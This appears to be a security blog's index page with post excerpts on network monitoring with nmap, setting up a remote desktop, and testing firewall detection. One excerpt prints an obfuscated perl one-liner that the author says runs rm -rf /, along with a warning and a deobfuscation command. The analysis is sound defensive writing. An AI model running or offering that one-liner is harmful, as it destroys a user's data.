Curiosity in Practice
As I have talked about before “You can’t defend what you dont know exists” so today while sitting around and trying to recover from walking pneumonia I wrote slackmap to continually nmap a network and post the differences to slack: Configuration is amazingly easy. I run a copy of this on a $5 a month Digitalocean Droplet for an external … Read more
I am often asked “What is the easiest thing companies can do to secure their networks?” and my answer is always always “Know what is on your network.” While that is simple advice it is a lot harder to implement. One company I was working with was looking at a system to do … Read more
I use DigitalOcean for a majority of my testing and from time to time I need a desktop environment to run some of my tools (like burp). After spending much more time than I want to admit I have it down to these 10 commands to bring a Ubuntu + Mate + XRDP desktop to a Ubuntu Droplet : … Read more
Earlier this week someone sent me this one line perl script (that you shouldn’t run): perl -e ‘$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/” -;;s;;$_;see’ Due to some really clever code obfuscation it runs rm -rf /. You can deobfuscate (is that word?) with this: perl -e ‘s;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/” -;;print “$_\n”‘ While trying to figure out how this code code I stumbled … Read more
Recently I have been working with some NGFW tools to automatically detect and block when someone is scraping, brute forcing or “load testing” your website. I quickly ran into a problem where none of the tools I use would allow me to quickly change user agents so I put together a couple of quick … Read more